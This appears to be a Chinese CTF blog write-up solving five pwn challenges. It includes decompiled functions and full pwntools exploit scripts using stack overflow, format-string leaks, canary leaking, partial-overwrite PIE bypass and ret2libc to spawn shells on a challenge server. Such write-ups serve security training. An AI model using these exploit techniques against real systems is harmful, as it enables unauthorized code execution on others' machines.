PWN
pwn1
题目:nc 114.116.54.89 10001
nc上去直接给shell
1 2 3 4 5 6 7 8 9 10 11
| nc 114.116.54.89 10001 ls bin dev flag helloworld lib lib32 lib64 cat flag flag{6979d853add353c9}
|
pwn2
什么都没开,丢ida分析。
很明显的栈溢出,还有一个get_shell_()函数。
地址是0x400751,直接overflow覆盖掉main的返回地址。
solve.py
1 2 3 4 5 6 7 8 9 10
| from pwn import *
r = remote("114.116.54.89", 10003)
r.recvuntil("ing?") payload = 'a'*0x30 + 'a'*0x8 + p64(0x400751) r.send(payload)
r.interactive()
|
拿到flag
1
| flag{n0w_y0u_kn0w_the_Stack0verfl0w}
|
pwn4
checksec同样没开什么保护。
丢ida分析main函数,只看到溢出,没有其它明显的利用。
1 2 3 4 5 6 7 8 9 10 11 12
| __int64 __fastcall main(__int64 a1, char **a2, char **a3) { char s;
memset(&s, 0, 0x10uLL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); puts("Come on,try to pwn me"); read(0, &s, 0x30uLL); puts("So~sad,you are fail"); return 0LL; }
|
这时找找其它的函数,发现
1 2 3 4
| int sub_400751() { return system("ok~you find me,but you can't get my shell'"); }
|
直接return了system调用,但是参数不能开shell。
不过我们有了system函数的地址0x400570
按照思路应该找出”/bin/sh”这样的参数传给system,但是在数据段中并没有找到这样的字符串。
刚入门哦,这题不尝龟了奥!不真实了
回到正题,先看linux下执行
也就是说$0=shell文件名
再回头看数据段中,可以看到有一个”$0”结尾的字符串,容易算出“$0”的地址是0x60111f
然后就是传参,X64中的Calling Convention不是在栈中,而是依次使用寄存器rdi,rsi,rdx,rcx,r8,r9,当参数超过6个时才会push stack。
所以需要找出pop rdi;ret;的汇编片段,借助ROPgadget工具。
solve.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import *
r = remote("114.116.54.89" ,10004)
r.recvuntil("pwn me\n")
system = 0x400570 sh = 0x60111f pop_rdi_ret = 0x4007d3
payload = 'a'*0x18 + p64(pop_rdi_ret) + p64(sh) + p64(system)
r.sendline(payload)
r.interactive()
|
1
| flag{264bc50112318cd6e1a67b0724d6d3af}
|
这一题在本机测试时crash了,我本机环境是ubuntu18的,原因是18下调用system涉及到栈对齐的知识。这个问题以后再开坑细写。主要是远端环境没影响,而且只读0x30也刚刚好。
pwn5
checksec一下
开了NX保护,先丢IDA分析一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| int __cdecl main(int argc, const char **argv, const char **envp) { char s;
setvbuf(_bss_start, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); memset(&s, 0, 0x20uLL); puts("人类的本质是什么?\n"); read(0, &s, 8uLL); printf(&s, &s); puts(&s); puts(&s); puts(&s); puts("一位群友打烂了复读机!"); sleep(1u); puts("\n人类还有什么本质?"); read(0, &s, 0x40uLL); if ( !strstr(&s, "鸽子") || !strstr(&s, "真香") ) { puts("你并没有理解人类的本质,再见!"); exit(0); } puts("人类的三大本质:复读机,真香,鸽子"); return 0; }
|
很明显的两处漏洞
第一处fmt漏洞
1 2
| read(0, &s, 8uLL); printf(&s, &s);
|
第二处overflower
1 2 3 4
| char s; ... ... read(0, &s, 0x40uLL);
|
看了一下没有可利用的funtion,只能ret2libc.
先在printf处下断调试。
看到了__libc_start_main+231的返回地址,算一下可以从第11(算上6个寄存器)个参数可以leak出这个地址,再减去231的偏移拿到__libc_start_main的地址。
然后我们需要拿到libc的base,再找到对应的偏移拿到system和/bin/sh的地址。
但是题目没用给出libc文件不知道版本,那么就可以使用LibcSearcher这个工具。
然后就是栈溢出漏洞,为了不被exit掉输入中需要有“真香鸽子”才能跳过if。填充就用ljust来,因为涉及到了中文字符,utf8编码可伸缩,字节数不固定。
因为是64位所以老规矩需要找pop rdi;ret的片段。
然后构造Rop链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import * from LibcSearcher import *
context.log_level = "DEBUG"
r = remote("114.116.54.89", 10005)
r.recvuntil("人类的本质是什么?") r.send("%11$p")
leak_addr = int(r.recvuntil("%11$p")[2:-5],16)
libc_start_main = leak_addr - 231
libc = LibcSearcher("__libc_start_main", libc_start_main) libc_base = libc_start_main - libc.dump("__libc_start_main") system = libc_base + libc.dump("system") bin_sh = libc_base + libc.dump("str_bin_sh")
pop_rdi_ret = 0x0000000000400933
payload = "真香鸽子".ljust(0x20+8,'a') payload += p64(pop_rdi_ret) payload += p64(bin_sh) payload += p64(system)
print payload r.recvuntil("人类还有什么本质?") r.send(payload)
r.interactive()
|
因为我本地是ubuntu18,调用system要多插个ret对齐128位,这题又刚好只read0x40所以直接打了远端。
但是打远端的时候识别不出libc版本。
然后看了一下别人的writeup发现远端坏境的leak地址是__libc_start_main+240。
所以我的ubuntu18的本地库的版本和远端不一样,偏移也不一样。
所以最终libc_start_main应该是-240的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import * from LibcSearcher import *
context.log_level = "DEBUG"
r = remote("114.116.54.89", 10005)
r.recvuntil("人类的本质是什么?") r.send("%11$p")
leak_addr = int(r.recvuntil("%11$p")[2:-5],16)
libc_start_main = leak_addr - 240
libc = LibcSearcher("__libc_start_main", libc_start_main) libc_base = libc_start_main - libc.dump("__libc_start_main") system = libc_base + libc.dump("system") bin_sh = libc_base + libc.dump("str_bin_sh")
pop_rdi_ret = 0x0000000000400933
payload = "真香鸽子".ljust(0x20+8,'a') payload += p64(pop_rdi_ret) payload += p64(bin_sh) payload += p64(system)
print payload r.recvuntil("人类还有什么本质?") r.send(payload)
r.interactive()
|
1
| flag{as67sdf834ht98e7sdyf9348yf0y}
|
pwn3
checksec除了relro全开
丢ida分析
main函数
1 2 3 4 5
| int __cdecl main(int argc, const char **argv, const char **envp) { vul(); return 0; }
|
vul()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| void __cdecl vul() { int note_len; FILE *fp; char fpath[20]; char memory[600]; char thinking_note[600]; unsigned __int64 v5;
v5 = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); memset(memory, 0, 0x258uLL); memset(fpath, 0, 0x14uLL); memset(thinking_note, 0, 0x258uLL); puts("welcome to noteRead system"); puts("there is there notebook: flag, flag1, flag2"); puts(" Please input the note path:"); read(0, fpath, 0x14uLL); if ( fpath[strlen(fpath) - 1] == 10 ) fpath[strlen(fpath) - 1] = 0; if ( strlen(fpath) > 5 ) { puts("note path false!"); } else { fp = fopen(fpath, "r"); noteRead(fp, memory, 0x244u); puts(memory); fclose(fp); } puts("write some note:"); puts(" please input the note len:"); note_len = 0; __isoc99_scanf("%d", ¬e_len); puts("please input the note:"); read(0, thinking_note, (unsigned int)note_len); puts("the note is: "); puts(thinking_note); if ( strlen(thinking_note) != 624 ) { puts("error: the note len must be 624"); puts(" so please input note(len is 624)"); read(0, thinking_note, 0x270uLL); } }
|
边看代码边跑一边程序
第一个read读路径,并输出文件内容,读取长度设得刚好,利用不了。后面thinking_note的read里,note_len由输入决定,导致溢出。但因为开了canary保护,就需要把canary的值leak出来。再看后面第二个read读624的长度溢出24个字节,刚好可以将leak的canary写回并覆盖retaddr。
先着手解决canary保护的绕过,canary的最低位都是0x00用来截断,需要覆盖掉才能recv后面的数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| r = remote("114.116.54.89", 10000)
context(os='linux', arch='amd64', log_level='debug')
r.recvuntil("path:") r.send("flag")
r.recvuntil("len:") r.sendline("1000") r.recvuntil("please input the note:\n") payload = 'a'*600 + 'b' r.send(payload) r.recvuntil('b') canary = u64('\x00' + r.recv(7))
|
有些人发送payload用sendline,就会多一个\n回车,这样payload就不需要多一位覆盖了。
然后就是覆盖retaddr。
IDA中没看到可利用的函数,所以考虑ret2libc。但是vul利用只能泄露一个值,所以要多次执行vul,就需要多次ret到main的开始地址来多次执行。虽然开了PIE保护,但是后三位地址是不变的,这样即使前面的偏移变了,我只覆盖低位的地址一样可以跳回main,从而绕过PIE。
通过IDA可以看到call vul后的返回地址是D2E,而main的起始地址是D20,所以只需溢出一个字节的0x20就可以了。
1 2 3
| r.recvuntil("(len is 624)") payload = 'a'*600 + p64(canary) + p64(1) + '\x20' r.send(payload)
|
这一次需要泄露出程序的基址,因为后面找到pop_rdi的偏移需要加上这个基址才能得到实际的地址。
上面提到在main调用vul函数之后,会将call vull的下一条指令地址作为vul的ret地址,也就是上图D2E,这样只需要leak出这个返回地址再减去D2E即刻得到程序基址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| r.recvuntil("path:") r.send("flag") r.recvuntil("len:") r.sendline("1000") r.recvuntil("please input the note:\n") payload = 'a'*615 + 'b' r.send(payload) r.recvuntil('b') base = u64(r.recv(6).ljust(8,"\x00")) - 0xD2E main_addr = base + 0xD20
r.recvuntil("(len is 624)") payload = 'a'*600 + p64(canary) + p64(1) + p64(main_addr) r.send(payload)
|
main地址也可以通过base加上0xD20取得了。
1
| main_addr = base + 0xD20
|
然后就可以通过将main_addr覆盖返回地址来检验我们泄露的基址是否正确。
这里有个问题就是我要接收多少个字节,这可以本地调试结合DEBUG接收的内容来确定。在本地调试可以看到这些地址高两个字节都是0x00,然后远端调试接收内容来看也只有6个字节。最后解包要用ljust用\x00填满8字节。
再次回到main之后,这次我们需要拿到libc的基址,很显然我们可以通过泄露libc_start_main拿到,但是libc_start_main的位置我们需要稍微思考一下。
首先分析main的指令,我们多次ret2main,都会进行push rbp的抬栈动作。程序启动时执行了一次,跳回了两次main,也就执行了两次,总共执行3次,然后call vul时也会执行一次,也就是4次。那么main的返回地址libc_start_main+240和vul的返回地址就相差了4*8,这样我们填充就要在覆盖vul返回地址的2*8(canary+rbp)的基础上再加上4*8也就是48。
更新
再配一台ubuntu16后本地打一遍发现上面的说法有误。通过观察栈可以知道,main+14也就是0xD2E距离__libc_start_main+240本来就有0x8的偏移,也就是说48=8(cannary)+3(ebp)*8+8(main+14)+8(__libc_csu_init)。上面的说法错在把call vul压入的返回地址强行再算一次。所以算这些乱七八糟的还不如附加调试看一下栈分布简单。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| r.recvuntil("path:") r.send("flag") r.recvuntil("len:") r.sendline("1000") r.recvuntil("please input the note:\n") payload = 'a'*647 + 'b' r.send(payload) r.recvuntil('b') libc_start_main = u64(r.recv(6).ljust(8,"\x00")) - 240 libc = LibcSearcher("__libc_start_main", libc_start_main) libc_base = libc_start_main - libc.dump("__libc_start_main") system_addr = libc_base + libc.dump("system") binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = 'a'*600 + p64(canary) + p64(1) + p64(main_addr) r.send(payload)
|
拿到libc_start_main后就是常规的ret2libc了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| pop_rdi_ret = 0x0000000000000e03 pop_rdi_ret_addr = base + pop_rdi_ret
r.recvuntil("path:") r.send("flag") r.recvuntil("len:") r.sendline("1000") r.recvuntil("please input the note:\n") payload = 'a'*600 + p64(canary) + p64(1) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr) r.send(payload) r.recvuntil("(len is 624)") r.send(payload)
r.interactive()
|
1
| flag{4278bbab-7780-4d89-8443-612d24aa87c6}
|
完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| from pwn import * from LibcSearcher import *
r = remote("114.116.54.89", 10000)
r.recvuntil("path:") r.send("flag")
r.recvuntil("len:") r.sendline("1000") r.recvuntil("please input the note:\n") payload = 'a'*600 + 'b' r.send(payload) r.recvuntil('b') canary = u64('\x00' + r.recv(7))
r.recvuntil("(len is 624)") payload = 'a'*600 + p64(canary) + p64(1) + '\x20' r.send(payload)
r.recvuntil("path:") r.send("flag")
r.recvuntil("len:") r.sendline("1000") r.recvuntil("please input the note:\n") payload = 'a'*615 + 'b' r.send(payload) r.recvuntil('b') base = u64(r.recv(6).ljust(8,"\x00")) - 0xD2E main_addr = base + 0xD20
r.recvuntil("(len is 624)") payload = 'a'*600 + p64(canary) + p64(1) + p64(main_addr) r.send(payload)
r.recvuntil("path:") r.send("flag") r.recvuntil("len:") r.sendline("1000") r.recvuntil("please input the note:\n") payload = 'a'*647 + 'b' r.send(payload) r.recvuntil('b') libc_start_main = u64(r.recv(6).ljust(8,"\x00")) - 240 libc = LibcSearcher("__libc_start_main", libc_start_main) libc_base = libc_start_main - libc.dump("__libc_start_main") system_addr = libc_base + libc.dump("system") binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = 'a'*600 + p64(canary) + p64(1) + p64(main_addr) r.send(payload)
pop_rdi_ret = 0x0000000000000e03 pop_rdi_ret_addr = base + pop_rdi_ret
r.recvuntil("path:") r.send("flag") r.recvuntil("len:") r.sendline("1000") r.recvuntil("please input the note:\n") payload = 'a'*600 + p64(canary) + p64(1) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr) r.send(payload) r.recvuntil("(len is 624)") r.send(payload)
r.interactive()
|
后续
在网上的看到的wp全都是跳回0xD20,这样导致的问题就是要算多次push ebp的偏移。经我观察其实跳call vul就可以了,毕竟漏洞都是vul函数里的。也不用算那些乱起八糟的偏移(调试看栈分布的倒是影响不大)。
船新版本exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| from pwn import * from LibcSearcher import * r = process("./read_note")
context(os='linux', arch='amd64', log_level='debug')
r.sendafter("path:", "flag")
r.sendlineafter("len:", "1000") payload = 'a'*600 + 'b' r.sendafter("please input the note:\n", payload) r.recvuntil('b') canary = u64('\x00' + r.recv(7))
payload = 'a'*600 + p64(canary) + p64(1) + '\x29' r.sendafter("(len is 624)", payload)
r.sendafter("path:", "flag")
r.sendlineafter("len:", "1000") payload = 'a'*615 + 'b' r.sendafter("please input the note:\n", payload) r.recvuntil('b') base = u64(r.recv(6).ljust(8,"\x00")) - 0xD2E call_vul_addr = base + 0xD29
payload = 'a'*600 + p64(canary) + p64(1) + p64(call_vul_addr) r.sendafter("(len is 624)", payload)
r.sendafter("path:", "flag") r.sendlineafter("len:", "1000") payload = 'a'*631 + 'b' r.sendafter("please input the note:\n", payload) r.recvuntil('b') libc_start_main = u64(r.recv(6).ljust(8,"\x00")) - 240 libc = LibcSearcher("__libc_start_main", libc_start_main) libc_base = libc_start_main - libc.dump("__libc_start_main") system_addr = libc_base + libc.dump("system") binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = 'a'*600 + p64(canary) + p64(1) + p64(call_vul_addr) r.sendafter("(len is 624)", payload)
pop_rdi_ret = 0x0000000000000e03 pop_rdi_ret_addr = base + pop_rdi_ret
r.sendafter("path:", "flag") r.sendlineafter("len:", "1000") payload = 'a'*600 + p64(canary) + p64(1) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr) r.sendafter("please input the note:\n", payload) r.sendafter("(len is 624)", payload)
r.interactive()
|